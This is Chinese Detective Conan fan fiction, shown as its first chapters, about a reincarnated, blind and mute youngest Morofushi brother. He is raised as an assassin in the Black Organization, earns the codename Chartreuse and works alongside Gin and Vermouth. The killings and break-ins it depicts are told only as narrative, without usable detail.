《自由职业的业务范围是否过于广泛》 第1章 诸伏清浅 提问:杀人的感觉如何? 诸伏清浅双手稳如老狗,面无表情的、一击毙命的将生命收割。 他低头“看”着脚下的尸体,表示这个问题他不想回答。 他的手法很专业,小巧的刀片一刀封喉,手上贴了透明的贴纸,保证不会沾染上他的指纹;杀死对方的时候他及时避开身形,身上绝对不会沾染上血迹;来的时候他收敛了气息,避开了路上所有的监控,甚至特意更改了体态,保证不会有人注意到他。 可血液的粘稠触感和铁锈味让他觉得恶心,喷溅到衣服上会很难清洗,生命在结束前短促的悲鸣是他源源不断的噩梦素材。 无法聚焦的雾蓝色猫眼中倒映着消逝的生命,诸伏清浅打开意识中的视窗,这才看清死在他手里的倒霉蛋的样子——他逼着自己记下对方的样貌。 ‘……系统,记录。’ 他面前浮现出一块科技感十足且仅自己“可见”的面板,字符随着他的想法组成冰冷的句子,记录着又一条在他手里死去的人命。 【田中次郎,男,42岁……】 【于1982年10月5日在杯户町XX处被诸伏清浅杀害。】 【附件:[地址][死者图片]】 记录完毕,收好组织需要的东西后诸伏清浅用黑布重新蒙住自己的眼睛,扯上卫衣兜帽,清理好痕迹后低头重新走出小巷,身形汇入熙熙攘攘的人群中。 直到现在,尽管诸伏清浅手里人命累累,他也依旧会心里默念着杀人犯法,讨厌杀人。 很可笑不是吗? 可他必须时刻记住这些。 诸伏清浅是一位穿越者,胎穿。 当然,这个东西一看到他的姓氏就会明白吧?首先想到的,自然会是《名●探柯南》里的公安卧底诸伏景光。 诸伏清浅今年14岁,是诸伏家最小的孩子,诸伏高明、诸伏景光的弟弟。 10年前外守一登堂入室,诸伏景光被诸伏妈妈嘱托藏进衣柜里逃过一劫,但诸伏清浅就没有那么好运了——因为给外守一开门的就是他。 ……总之,诸伏家的惨案依旧按照剧情展开,但诸伏清浅好歹穿过来前了解过这一场发生在诸伏家的灾祸,内里灵魂是20多岁的种花大学生的四岁小孩第一时间大声呼救,并竭力试图阻止杀人场面的发生。 ——后面的事他也不太清楚,因为他被外守一掳走了,诸伏清浅只能祈祷他这个在原著中不曾出现的人物能够带来一点蝴蝶效应。 系统就是这个时候找上他的。 穿越大神似乎很忙,忙到应该只是匆匆一瞥——哟呵,这里有个穿越的倒霉崽子! ——然后随手给他挂了个buff就潇洒离去。 系统只是个辅助系统,没有智能,它只是个工具——就像考试时答题的笔,吃饭时的筷子,只是帮助自己能够更好的适应这个三天一小案,五天一大案,偶尔抢劫大爆炸的柯学世界罢了。 好消息,在系统地图侦查的协助下他成功逃离外守一; 坏消息,就算诸伏清浅没吃传奇A药,四岁的小孩子身体承受他前世二十多岁的灵魂本来就吃不消,再加上外守一事件这么一折腾,他成功发高烧晕倒在半路上。 更好的消息,有人救了他。 更坏的消息,救他的是组织成员。 人生何处不相逢,你说是吧,贝尔摩德。 * 黑色的保时捷356A停在路边,见诸伏清浅走过来便短促的鸣笛一声。 诸伏清浅脚步一顿,顺从的调转方向,精准无误的打开车门坐进后座后摸出特制的手机敲敲打打,两秒后无机质的电子音响起。 “[怎么是你来接我?]” 副驾驶上的青年有着一头及腰的银发,他伸手拿过车载点烟器将叼在嘴边的香烟点燃。 “你不乐意难道我就想?” 电子音毫无感情:“[有事说事,还有,麻烦把烟灭了。]” 被称作Gin的银发青年冷笑一声,将车柜里的一沓资料抽出往后一扔:“你的考核任务,做完了自己去那位先生那里报道。” 诸伏清浅接过资料,也没看,卷巴卷巴揣卫衣兜里。确定琴酒没有其他事找他后就迫不及待的打开车门离开。 站在外面深吸一口气,诸伏清浅才感觉自己活过来了。 天杀的大人,胆敢让未成年人在车内吸二手烟! 看着少年掏出折叠的导盲杖敲打着地面离开,那有些重的哒哒声彰显着主人的怨气。望着对方离开的背影,驾驶位上戴着墨镜的大块头有些犹豫:“大哥,那小子……” 人不可貌相,伏特加一直知道这个道理,所以当这个眼睛蒙着黑布的瞎眼小孩上车时他识趣地没说话,然后他发现这小孩是个哑巴。 ……但哑巴不代表他不会口出狂言,更不用说无机质的电子音更具嘲讽意味! 听到电子音的伏特加:卧槽这小子是个哑巴? 听完电子音的伏特加:卧槽他什么人啊怎么敢这么和大哥说话? 听完大哥信息量巨大的回应的伏特加:卧槽这是准代号成员?还能面见那位先生?地位这么高?! “大哥,他还是个国中生吧?” 这点情报琴酒也不介意透露给他:“14岁,他的考核任务不过是走个过场罢了。” 考核任务不过是暗杀一个泄露了组织资料的小社长并回收资料而已,以那小子的能力这个任务难度几乎可以忽略不计——那家伙平时的训练难度指数可比这个高得多。 14岁的代号成员?!伏特加再次庆幸自己刚才没有说什么多余的话,因为他没记错的话他家大哥是17岁才拿到的代号。 天啊他们以后不会打起来吧…… 琴酒倒是没什么所谓。诸伏清浅作为从小在组织训练营里长大的孩子,对组织的忠诚毋庸置疑,再加上他自身的问题,虽然交流沟通有些困难,但这也能保证他不会看见什么不该看的东西,说出什么不该说的话来。 更不用说诸伏清浅平日里的性格其实很好相与,琴酒没必要和对方交恶……虽然那小子是贝尔摩德捡回来的,这点稍微让他有些不爽。 但一想到未来朗姆那个阴险的家伙就要和那小子对上,他的心情又忍不住好转。 高考结束,激情开坑!(敲锣打鼓 自娱自乐产物,希望大家看的开心 一下是一些避雷事项: *诸伏家第三子设定 *太久没看原著,时间线混乱,若有错请当我私设魔改,考据党慎入 *无cp,除官配外全员友情向亲情向贴贴,但拆秀明(什 *主角失明失语debuff存在预警,酒厂覆灭后恢复 *警校组全员救济,救一些自己喜欢的角色 *ooc属于我,角色属于73 作者有话说 显示所有文的作话 第1章 诸伏清浅 第2章 夏特勒兹 诸伏清浅再次声明,他真的讨厌杀人。 在某一栋高楼的天台上举着望远镜“观察”目标人物,诸伏清浅抿着唇。**月的天气已然开始转凉,天台上的寒风吹得他手脚冰凉。 ‘……系统,记录。’ 真可笑啊,这是在欣赏自己即将要完成的作品吗? 不,这是在收集我的罪证。 哈,冠冕堂皇。他明明可以不用死的,而你为了能让自己活下去,为了在组织里获得更高的地位,你在向自己的同类下手,甚至一丝愧疚和怜悯都没有。 ……或许吧。 组织的训练里最不缺的就是人命,生动诠释了什么叫做“人命如草芥”。训练是为了杀人,休息是为了防止被杀,活下去是为了杀人,为了活下去就要杀人。 诸伏清浅是个自私的人,他对生命抱有尊重与敬畏,对生命的消逝感到难过和痛苦,但这一切的前提是他的性命不会因此受到威胁——他可不是那种会为了他人牺牲自己的圣父,组织里肮脏的家伙们也不值得他这么做。 ……只不过不管是为了什么理由出手,生命的消逝无法挽回,杀人的罪行是既定事实,待一切结束的那天,他不会逃避自己的审判。 他也绝对不能逃避,这是他坚守这么多年的良知的底线。组织的覆灭虽是必然,但革命尚未成功,他还得继续在黑暗中游走,同时坚守住心里良知的明灯。 1982年的监控并不普及,夜深人静,月黑风高之时,超强的听力让诸伏清浅轻而易举地如鬼魅般绕过所有监控和可能的目击者,敏捷的身法和高超的撬锁技术让他轻而易举地撬开目标二楼的窗户——他今早踩过点,这刚好是书房的窗户,而组织要找的资料大概率会在这里。 书房里没有人,当然,因为现在是凌晨三点,普通人都在梦里和周公下棋聊天的时间段,诸伏清浅很难从声音辨别物品的位置,但他也没打算取下蒙在眼睛上的黑布。 有一说一,穿越大神在给他上buff时肯定没有做过背调,不然祂就不会把和前世的他完全没有任何关联的顶级刺客模板往他身上套——他大学体测全是压线飞过! 【姓名:诸伏清浅】 【年龄:14】 【技能:敏捷MAX,速度MAX,耐力MAX,听力MAX,隐匿MAX,轻功MAX,伪装MAX,身法技巧MAX,偷盗技巧MAX,潜入技巧MAX,撬锁技巧MAX,轻型武器MAX】 【身体状态:良好,体温偏低,请注意保暖。(点击重新自检)】 【持续debuff:幻视、失语(锁定中,状态暂时无法更改)】 【系统辅助功能:地图侦查,时间闹钟,拍照记录存储,原著漫画番剧剧情】 虽然系统看起来除了技能赋予其他功能都很鸡肋,但用的好了也是一个挂。 就比如拍照功能,因为拍照成像是直接投射在意识里,所以打开它却不拍照就能当外置眼睛用,还是自带夜视和放大功能的那种。 诸伏清浅“扫视”一圈,目光锁定在书桌下的保险柜上。 ……撬吧,资料八成就在里面。 保险箱是比较老的款式,根本难不倒他,不过一盏茶时间,保险箱就咔哒一声被撬开。果不其然,一小沓的纸质资料放在里面,随意翻看几张诸伏清浅就能确认这就是组织要回收的东西。 药物资料啊……拍下来拍下来,证据 1 1。 熟练地抹除痕迹,临走前顺手给那位倒霉的社长先生抹了喉,诸伏清浅身形灵巧如猫儿般七拐八绕地避开路人的视线,隐没在灯光照射不到的黑暗中。 他伸手打开地图侦查,果不其然看到标注为琴酒的小点在目标附近——也是,考核任务向来都有考官。 琴酒虽然按照规定来监考诸伏清浅的任务,但作为大哥最信任的小弟,伏特加勉强能从大哥冷峻的表情中看出一丝轻松。和以往的新人考核的时刻盯着不同,琴酒今天的监考格外宽松,除了时不时留意一下周围,他没有任何过多的表示。 大哥在……摸鱼? 伏特加被自己这个想法吓了一跳,连忙自我否定。 不不不,怎么可能,大哥这么做一定有他的道理,只是我暂时想不到而已。 咔哒,保时捷的车门被拉开,眼睛蒙着黑布的卫衣少年悄声无息地钻进后座,片刻后一沓资料被少年递给副驾驶的银发杀手,并收获银发杀手的一声哼笑。 诸伏清浅:“……”算了,懒得喷。 黑色的保时捷在主人的授意下启动并在深夜空旷的车道上行驶,车上三人中一个默默无闻兢兢业业地充当着开车工具人,一个人狠话不多的冷酷杀手,一个干脆是个哑巴,安静诡异的氛围萦绕在伏特加心间,却又有种莫名的和谐。 伏特加任劳任怨地将诸伏清浅送到他一处在组织内部公开的安全屋,下车时得到了小孩的一个敲窗 比心。 伏特加:“……大哥,他这是什么意思?” 琴酒在诸伏清浅下车后才从烟盒中咬出一根烟点燃:“感谢你的意思。” “啊……那,不用谢?” 琴酒:“……”人都走了你在说给谁听呢。 虽然他也不确定这个距离那家伙能不能听到就是了。 * 诸伏清浅听不听到另说,他现在觉得有些头晕——订好前往鸟取县的飞机后他给自己自检了一次。 感冒前期症状。 诸伏清浅:……好吧,这身子骨是真的差。 第二天……啊不,两三个小时后天光大亮,反正今天就能回来,诸伏清浅索性啥也不带,两手空空轻装上阵地上了前往BOSS老巢的飞机,下飞机后被早在机场等候的佣人请上车——并按照要求熟练的带上眼罩和耳罩。 ……咱就是说,我眼睛上本来就蒙着黑布,为什么还要戴眼罩? 虽然对他没什么用就是了。 幽灵仆役简直就是游戏里标准的工具人NPC模板,完全没有互动功能,就算问他问题他的回答也是超级标准的人工智障,是情报人员最不想接触的类型之一。 虽然不是第一次来这里,诸伏清浅还是开启了系统相机功能并在脑海中切出系统地图,再一次确认车辆的行驶路径。 乌鸦的老巢位于群山之间,古朴又壮观的巨大别墅散发着威严却又腐朽的味道。按理来说诸伏清浅看不见,所以他只是用系统快速拍了几张照片,便默默的跟在幽灵仆役身后,在对方的指引下前往书房面见BOSS。 或许是因为距离主线开始还有十多年,乌丸莲耶的身子骨在金钱的保养下还算健康硬朗,浑浊的双眼如食腐的乌鸦盯着猎物般审视着诸伏清浅,直到这个他从小培养的孩子单膝跪下以示臣服,他这才如鼓动的残破风箱般“嗬嗬”地轻笑。 “1007。”他喊了诸伏清浅在训练营中的身份编号。 “……不,夏特勒兹。” 拐杖杵地的声音由远及近,老人苍老的手按压在诸伏清浅的头上,没有得到丝毫的反抗,这让老人的心情愉悦了几分。 “夏特勒兹,献上你的忠诚。” 回应老人的是少年更加恭敬和温顺的低头。 如您所愿,先生。 * Chartreuse,夏特勒兹,具有草药酒之王的美称,一款法国利口酒,由130种植物和香料混合蒸馏而成,同时带有甘甜和苦涩的味道,强大而又独特。 而现在,献上忠诚的夏特勒兹内心OS是一串仿佛没有尽头的电报。 因为就在他被佣人送回机场后他的手机轻轻一震,是一条组织群发的通知mail。 【情报组新增代号成员夏特勒兹,受先生直接管辖。】 诸伏清浅……诸伏清浅有一句MMP不知当讲不当讲。 情报组?他一个拿着刺客模板的家伙去情报组?他一个又瞎又哑特征如此明显的残疾人当情报人员? BOSS你糊涂啊BOSS! 而且还“受先生直接管辖”?真正受BOSS管辖的也就贝尔摩德,琴酒,朗姆,皮斯克四个啊,一个混子,一个劳模,一个管钱,剩下的一个居心不良,他一个空降情报组管理层的算什么?!这夺权的架势无异于当众给朗姆一个**兜啊! BOSS你这是要我死啊BOSS! 诸伏清浅“看”完mail,没有当场掰断导盲杖都算它质量好! 可惜诸伏清浅早已不是前世的那个清澈愚蠢的大学生,因为心理原因看不见东西、失语症说不了话,他往往需要耗费更多的精力功夫才能在尔虞我诈利益往来中长大,早就修炼得游刃有余。 哈,都是千年的狐狸玩什么聊斋? BOSS把他往情报组里扔不就是为了制衡朗姆嘛,虽为二把手,随着BOSS的身体状况愈发衰败,他与昔日信任的部下之间早就生了隔阂,皮斯克敏锐的察觉到后急流勇退退居二线,而朗姆如今正值壮年,权力巨大,BOSS没有把怀疑写在脸上都是看在对方不错的业务能力份上。 诸伏清浅弄清当前的局势后敲着导盲杖哒哒哒地在机场服务员的引导下进入候机室,虽然内心戏丰富却也知道拿到代号不过是一个开胃小菜,真正的考核还在后头。 千年的王八万年的龟,贪婪的乌鸦天上飞,乌丸的坟头没有碑,掺水的酒厂真悲催~ 诸伏清浅内心哼着饱含恶意的小曲儿,表面上依旧八风不动。 第3章 相逢却不识 感冒了。 终究还是错付了。 诸伏清浅在飞机上睡了一觉,一醒来就知道自己要糟。 就算不用系统自检他也知道自己的感冒往更严重的方向发展了。 太阳穴附近的神经一抽一抽地钝痛着,呼吸——虽不至于水泥封鼻,但也算是呼吸困难;听力也受到了限制,虽然影响不大但他现在听什么都感觉隔了层膜。 ……没事,死不了。 好在没有发烧。诸伏清浅的思维没有受到限制,但还是决定回安全屋收拾完行李后再买一盒感冒药随身揣着备用。 BOSS想用他来制衡朗姆,但再怎么想诸伏清浅现在也只是个十四岁的孩子,雇用童工犯法——呸,组织才不会在意这个。 一个十四岁的孩子再怎么聪明也斗不过常年身居高位的老狐狸,BOSS是疯了才会让新上任的夏特勒兹单枪匹马地和朗姆叫板——最好的方式是把他扔到国外练上几年,到时候如果夏特勒兹还活着的话再把人调回日本干活。 ……啧,雇用童工犯法啊啊啊! 诸伏清浅面无表情但内心尖叫,在系统内的记录功能中翻出自己的电子日记,日常将对酒厂的怨念通过意念形成的文字记录下来。 哈哈,打工人怎么可能没有怨念。 “夏特勒兹大人,在下坂田,从今天开始负责您的后勤辅助。” 在机场等候没多久,一辆黑色低调的车停在诸伏清浅面前,驾驶座上的男人下车给他问了声好,声音平稳,但—— 被轻视了啊。 诸伏清浅敏锐地听出了对方隐藏起来的傲慢和轻视,但他没说什么(他也说不了话),稍微点头当做应答便钻进后座。 ——嘛,身体原因注定会让诸伏清浅被大众下意识地划入弱势群体,当然这些缺陷让他很容易受欺负——诸伏清浅只能说是习惯了,只要没踩到他线上他都不会当场追究。 但这不意味着他不会记仇或报复。人都踩到他头上拉屎了他难道还要忍气吞声? 等下就跟罗马纳(Romana)打个小报告吧。 ……且不说其他,就夏特勒兹直接受BOSS管辖这一项就说明了很多事情。皮斯克带出来的罗马纳完美继承了她上司的审时度势,诸伏清浅邮件发出去不到五分钟就收到了对方饱含礼貌歉意的回信——然后第二天重新给诸伏清浅换了个后勤。 诸伏清浅:……好吧,也不是——不行,真的不行。 从训练营毕业的诸伏清浅实在难以忍受身边跟着一个人,敏锐的感知让任何靠近他的人的存在感变得极强,如同针扎般让他浑身不适,让他时常忍不住指尖微动掏出刀片宰人。 虽然在他这里后勤只是一个司机——他也只是要一个司机(你总不能要求一个盲人开车吧),但最后诸伏清浅还是谢绝了罗马纳的好意,打算把人送回去。 ……结果失败了。 【你总得有几个能用的手下吧?——From Romana】 虽然你说的很有道理,但是训练营出来的家伙哪个不是独狼?他看上去是那种会和属下沟通的人吗?他不给属下一刀算他自制力好! 组织基地里,诸伏清浅平静地听着耳机里关于新后勤资料的文字转语音,实际上他人已经走了一会儿了。 井上,或者叫杰尼?一个外籍底层人员,主要在大阪活动。为人沉稳冷静,耐得住性子,在组织的底层圈子里颇有名气,参与过几位不那么重要的代号成员的调遣,能力反馈不错。 ——就是不知道为何这么多年来没受到赏识。 从各种小道消息诸伏清浅可以想象出一个非常适合打工(划掉)木讷但能干的人设,他思考半晌还是给罗马纳回了信,让她帮忙把人丢基地里操练一下,并表示自己真的没时间带人。 ……绝对不是因为他不想和人类交流:) * ……大不妙。 诸伏清浅一边思考着种花的黄历在日本适不适用,一边加快用草稿板和店员交流的速度。 ——为什么我会在这里碰见景光哥! 他只是路上顺便来买个药而已啊! 诸伏清浅内心崩溃尖叫,表面上竭力控制着动作和呼吸的平缓和正常,在店员的帮助下买完感冒药后装作平平无奇的路人和两位穿着校服的高中生擦肩而过,他甚至能够感受到拿着导盲杖的手微微抖动。 一位金发黑皮,一位黑发猫眼。 ……不要看。 系统的地图侦查标出了两位国中生的名字。 不要看,记住你的身份,夏特勒兹。 降谷零,以及—— 景光哥。 ……他终究还是在心里喊出了那个思念许久的称呼。 离开这里。 三位未成年人擦肩而过,好在什么事也没发生,诸伏清浅控制着自己稍微有些僵硬的身体,保持正常的行走速度,直到彻底远离那个药店才暗自松了口气。 ……无事发生。 他都不知道应该高兴还是失望,理智告诉自己应该庆幸诸伏景光没有在这个时候暴露在组织视线里,庆幸对方看起来失语症已经痊愈,并且有了可以交心的幼驯染。 ……他看上去过得很好。 这就足够了,不是吗? 他自我安慰着,可心里却像是堵了块石头,闷闷的,让他本就因为感冒而困难的呼吸雪上加霜。 “叮——” 他订的航班即将起飞,提前订下用来提醒时间的闹钟响了。 诸伏清浅抿了抿唇,头偏了偏,但最终还是忍住没有再回头看向来时的方向,毅然决然地远离了那片他不敢触及的光明。 他该走了。 “hiro,怎么了?”药店内降谷零疑惑地看向站在原地的幼驯染,诸伏景光闻言回神,收回望向门口的视线。 “刚才那个孩子有什么问题吗?” “……不,没什么。”诸伏景光摇头岔开话题,“觉得有点眼熟,应该是我在附近见过那孩子——不是要买感冒药吗zero,快迟到了哦。” “啊……也是。” 降谷零有些担忧地眨眨眼,见幼驯染的神色如常便歇了探究的心思,转过身去和店员小姐沟通——正好错过了自家幼驯染眼底的一丝疑虑和思索。 好熟悉的感觉…… 脑海中回闪着刚刚三人的擦身一瞬间,比他矮半个头的小孩子戴着卫衣兜帽,让诸伏景光看不清对方的脸,但从心里升腾而起的别样情绪告诉他一定是有什么地方被他忽视掉了。 ……我在哪见过他吗? * 提问:乌丸莲耶到底知不知道出国对残障人士来说是什么地狱般的存在? 诸伏清浅:我太傻了,真的。 出国历练?就凭他十几年没碰过的英语四六级?还是用手语比划? 那多掉逼格啊,且不说组织里有多少人会手语,手语在不同地区也是有方言的喂! 刚在意大利下飞机的诸伏清浅浅浅吐气,他好像感觉到好像有一团乳白色的灵魂从嘴里飘出。 任重道远啊夏特勒兹。 ……算了,钱难挣,屎难吃,虽然组织没有在金钱上亏待过自己,但在面对来接机的小炮灰的不屑嘲笑后诸伏清浅清楚地认识到往后他的同事将有多么难搞。 *训练营的训练项目让清浅很难适应搭档手下什么的存在,而且系统为刺客模板让他更偏向于独自行动(虽然社恐也是一大原因) …大概就是这个意思,不知道正文里我有没有表达清楚orz *清浅在国外的立威之路会相当困难啊(感叹 *下一章使用时间跳跃**! 作者有话说 显示所有文的作话 第3章 相逢却不识 第4章 苦逼社畜 诸伏清浅走出机场,冷风吹来让他忍不住打了个喷嚏,留意到脑海内展开的系统面板上的身体状态一栏。 【身体状态:头疼,鼻塞,畏寒——感冒前期,请及时就医。(点击重新自检)】 诸伏清浅熟练地无视掉,摸了摸脖子上的围巾确认不会让冷风吹进来就掏出折叠导盲杖一甩成型,“哒哒哒”的敲着地面,慢慢晃悠到组织来接自己的车后打开车门钻进去。 这些年他一直在组织在各国设立的势力据点中管理情报统筹调配,意大利、德国、法国、英国、俄罗斯、美国、加拿大,五年七个国家不停歇地连轴转,未成年的代号成员被工作折磨的几近崩溃。 故乡的防卫很严格,就连组织都不太愿意去招惹,这算得上是这五年全年无休的工作中为数不多的安慰了。 重回故土(当然是这辈子的故土)的感觉确实不错,尤其是听到熟悉的语言时。 “夏特勒兹大人,您好。在下井上一郎,未来一段时间将负责您的后勤工作。” 在后座上靠着但时刻警惕着的诸伏清浅微微一动。 井上?这名字有点子熟悉。 “[罗马纳的人?]”机械的电子音自特制手机中响起。 “是,五年前罗马纳大人让我跟着您。” 诸伏清浅:……五年前? 啊这,他想起来了。 他五年前是不是被罗马纳塞了个属下?结果他把人家扔去基地训练,没过多久他就把这事儿给忘了。 五年时间的不管不顾无人问津,光是想想就让诸伏清浅的愧疚心原地爆炸。 “[你现在在罗马纳手下做事?]”他这么问着,插在衣兜里的手飞快地摁着手机盲打,联系罗马纳要井上一郎这五年的资料。 “是。” 诸伏清浅没再说话,罗马纳也很快给了他回复。 她表示井上一郎早就给了他,想咋用就咋用,不过如果想报答这五年托管他属下的事就帮她处理点工作。 诸伏清浅:……好的,他看出来他这位同事也快被工作逼疯了。 他这次是被紧急叫回来的。据说是有个□□初生牛犊不怕虎抢了组织几个地盘,若是这样组织到也不必大动干戈,问题就在于他们杀了组织一个资历较老的代号成员,有一些重要的资料被拿走了。 重要到什么地步呢? 这么说吧,这次任务就三个人行动——贝尔摩德,琴酒和他自己。 三个BOSS直属代号成员。 [大阪 shock酒吧] 会员制的酒吧今天不接客,因其高档消费的特性,周围的民众对酒吧的偶尔不开门行为见怪不怪。 诸伏清浅拒绝了井上一郎的搀扶,将折叠导盲杖甩直“哒哒哒”地推门进酒吧。 酒吧内很安静,舒缓的音乐萦绕在店内,不时夹杂着调酒师整理吧台时酒杯清脆的碰撞声。 然而诸伏清浅只是稍作停顿,便又敲着导盲杖往吧台走去,坐在了身着黑色长款风衣的银发男人身边。 “[好久不见,琴酒,贝尔摩德。]” 吧台内的调酒师低低一笑,有些低哑却性感魅惑的声音响起。 “啊啦,怎么发现的?” “[视线和气息。]” “真是敏锐。” 伪装成调酒师的贝尔摩德颇有兴致地担当起调酒工作,不一会儿一杯酒推至诸伏清浅面前。 阿拉斯加。 诸伏清浅轻嗅,闻出这是哪一种鸡尾酒后——然后默默将它推给一旁的琴酒。 琴酒:……? 贝尔摩德笑得花枝乱颤:“小家伙,这么不给面子?明年你就成年了不得练练酒量。” “[……那也没必要从最烈的开始练起,一杯苏格兰苏打,谢谢。]” 将吧台交还给真正的调酒师,贝尔摩德端着一杯马天尼坐在诸伏清浅身旁,将一沓资料递给他。 “这次任务的情报,具体行动我就不参加了,good luck guys~” 琴酒没有异议,显然贝尔摩德摸鱼形象深入人心。劳模人狠话不多:“时限?” 贝尔摩德答:“越早越好。顺带一提,BOSS建议这场任务夏特勒兹主导。” 银发杀手和黒缎缠目的少年身形皆是一顿。 BOSS不想把这件事闹大。 同为训练营的毕业生,琴酒和夏特勒兹的任务完成率都有保障,但个人风格截然不同。 琴酒以强悍的实力,冷酷的风格,极高的效率很快在行动组甚至是里世界闯出了名号,成为组织的招牌Top Killer。 夏特勒兹在国内没什么名气,但国外的势力就没有不认识他的,因其诡谲的行踪,无声的暗杀,优秀的统筹能力和情报能力亦成为了组织在国外的招牌,被大家称为组织的第二位Top Killer,或者直接称为Shadow Killer。 ……反正诸伏清浅听到这个名号差点羞耻到脚趾抠出三室一厅。 诸伏清浅不是没和琴酒合作过,去年美国FBI和CIA不知怎的找到机会,揪住组织的尾巴就是一顿穷追猛打,尚在德国和BND周旋的夏特勒兹被迫熬了两天加急处理完手头上的事然后连夜赶去美国接手烂摊子,琴酒也被BOSS派去干活。 只不过夏特勒兹身属情报组,需要干的事总比行动组多得多,也繁琐得多。 再加上琴酒是个兢兢业业的劳模,诸伏清浅当时一边整合组织势力一边跟琴酒搭档提供任务情报,连轴转到整个人恨不得掰成两块用,短暂的休息时间内都在反思自己都在名柯世界了为什么不能综一点其他作品,他真的很想要影分身术。 “[是科研组那边的资料吗?]” 也只有和科研组那边有关系的东西才能让老乌鸦派出三位直属代号成员了,让擅长暗杀的自己而不是强势的琴酒主导任务,说明那份资料可见不得光——毕竟研究的也不是什么传统意义上的好东西。 贝尔摩德欣赏着自己的美甲:“这个嘛……任务的首要目标是拿回资料,然后给那群蠢货们一个教训。” 懂了,拿到资料后杀几个人立威。 诸伏清浅扭头:“[资料我来找,人你来负责?]” 琴酒不可置否:“时间。” “[今晚十二点前给你准信。]” 组织的TK和SK的职业素养让人安心,快速商定好后诸伏清浅点点头算作告别,没过一会儿琴酒也起身离开,徒留贝尔摩德和两杯没人动过的酒。 “真是……长大了就没那么好玩了。”贝尔摩德眼里闪过一丝复杂的情绪,端着马天尼一饮而尽。 * 小帮会很嚣张,相对而言的防备也没有老牌□□那么恶心,诸伏清浅轻松绕过守卫潜入进去,听见房里交错的呼吸声陷入沉默。 ……未成年可听不得这个。 给其余人补了一次□□喷雾,诸伏清浅将帮会头目从温柔乡里拽出,熟练地卸下对方四肢然后开始拷问、回收、偷偷备份、灭口、记录犯罪证据、撤离一条龙。 除了撤离时出了点岔子惹来了一些追兵,但也很快被作为狙击手策应的琴酒点掉人头——不得不说和琴酒搭档真的很让人心安,是可以交付后背的可靠队友…… 被瞄准镜中的视线扫到的感觉让诸伏清浅后背一麻。 ……交付个屁,把后背交给别人真的很惊悚,尤其是Top Killer。 杂乱的脚步声和呼吸声隐隐被捕捉,诸伏清浅瞥了一眼意识里投射出来的系统地图,看见前方拐角处被标红的点快速靠近,果断调转方向。 “在那!抓住他!” □□成员抬手举枪还来不及射击,只能见到一片衣角消失在拐角处。 躲过追兵,诸伏清浅这才抽空摸出手机给琴酒发条信息:“[琴酒,狙击枪麻烦瞄准敌人,不要瞄准我。]” 他妈的那种被锁定的感觉让他寒毛炸起,浑身哪哪不得劲。 琴酒神色一凛:“不是我。” 不是琴酒?诸伏清浅一愣,下一秒他的直觉给他发来警报,他想也不想直接就地一滚,险之又险地避开一发狙击! 对方有狙击手。 琴酒和诸伏清浅同时意识到这一点。 原来有狙击手,难怪一个小帮会也敢这么嚣张——不过没关系,琴酒会搞定对方的。 但那也需要时间,诸伏清浅可没时间等待,天知道耽搁一小会儿工夫他会不会被人堵,他可不想再杀人了。 诸伏清浅躲在掩体后缓和着呼吸思索着,看着系统的地图侦查微微皱眉。 系统提供的的地图并不是一开始就有的,而是以诸伏清浅为中心,记录他方圆半径200m的所有地形结构和建筑信息。 当初获得系统后诸伏清浅就直接被贝尔摩德送去训练营自生自灭,获得代号后又常年呆在国外,所以诸伏清浅十九年过去,对日本的地图探索度甚至连5%都不到。 在名柯中出场过的人物会被系统自动标记,无视距离精准定位,而其他人物的定位则受系统侦查范围的限制——诸伏清浅只能“看”见他周围两百米的人和东西的定位。 ……狙击手在两百米开外,诸伏清浅找不到他的位置。 寻常人倒是能通过弹道轨迹逆推出对方的大概位置,但诸伏清浅他是真的瞎啊,刚才他也没开系统相机,是真的啥也没看见。 你说听声辨位?诸伏清浅只是听力MAX又不是装了个回声雷达,当他是海豚吗。 弹道……要是能看见弹道就好了。 诸伏清浅的注意力不自觉地挪到系统地图侦查上,突然思绪一卡,然后神情逐渐呆滞。 【3D立体地图模式转换中……】 【实时建筑模型构建中……】 充满科技感的淡蓝色线条在诸伏清浅“眼前”勾勒出周围事物的模样,片刻后一条正在移动的红色路径在空中浮现。 【弹道实时预测已开启】 ……卧槽,是挂。 *咳,都同人文了咱把挂开大一点应该也没问题吧? 作者有话说 显示所有文的作话 第4章 苦逼社畜 5. 一些过去1.0 总而言之任务顺利完成了。 还是那间酒吧,贝尔摩德把玩着酒杯轻笑:“不得不说你们两个合作完成任务的默契真的很高。” 贝尔摩德大多数时间都呆在美国经营她大明星莎朗·温亚德的身份,去年美国那边的变故最后是她来接手后续的工作,自然也知道当时诸伏清浅和琴酒的情况。 冷酷的、凌厉的,浑身缠绕着久久无法消散的血腥味,如两台高速运转的杀戮机器,用人命在极短的时间里掌控住局势,敌人老巢里的血怎么也洗不干净。 训练营的优秀毕业生,那位先生从小培养的刀,组织的双Top Killer。 琴酒和夏特勒兹。 夏特勒兹。 贝尔摩德端详着诸伏清浅逐渐长开的脸,咋摸着这个代号。 那是她带回来的小孩,当时小孩儿发着高烧倒在山林里,浑身是血,手里还攥着把水果刀,诡异的要素搭配让这位不老魔女难得升起一丝兴致,将人捡回组织基地治疗。 可惜小孩烧得太厉害,落下了病根,丢了记忆,目不能视,口不能言,免疫力低下,就算送去科研组也会被嫌弃身体素质不过关,毫无利用价值可言。 ……然后小孩儿给她上了一课。 小孩用她喉咙间细小的伤痕告诉她——即使是一根打点滴的细小钢针也能成为杀人的武器。 贝尔摩德承认当时差点被杀让她有些恼怒,心里打着“既然会杀人那就好好学然后给组织干活”的想法就把人丢进训练营自生自灭去了。 时过境迁,久到她早已忘记那个病恹恹的小孩儿,直到有一天她和琴酒在酒吧里碰上,演技精湛的不老魔女察觉到了银发杀手难得的好心情。 “啊啦,琴酒,什么事让你这么开心?” 银发杀手撇了眼她,她得以发现对方衣服遮掩下缠了绷带的脖子。 脖子?他受伤了? 她详装惊讶地问他竟然有人能够伤到我们的杀手先生,结果收获对方”哈”的一声冷笑。 “贝尔摩德,你从哪里捡回来的人?”银发杀手眼里闪过一丝感兴趣,难得好脾气地提醒:“‘门’要开了。” 贝尔摩德的表情管理罕见的失控。 ‘门’指的是训练营的大门,而训练营—— 那是地狱。 枪械、格斗、伪装、潜入、审讯、反审讯,所有犯罪分子的优秀技能和美好品质它都会教,每一批进入训练营的孩子都会被洗脑着忠于组织,教导着掠夺生命,养蛊般地互相厮杀:死在“课程”中,死在“实践活动”中,死在“同伴”手中;一汪汪血泊汇聚,一具具尸体堆叠,一条条生命凋零—— 直到最后只剩下一个胜出者。 而琴酒是第一个从那个地狱里爬出来的人。 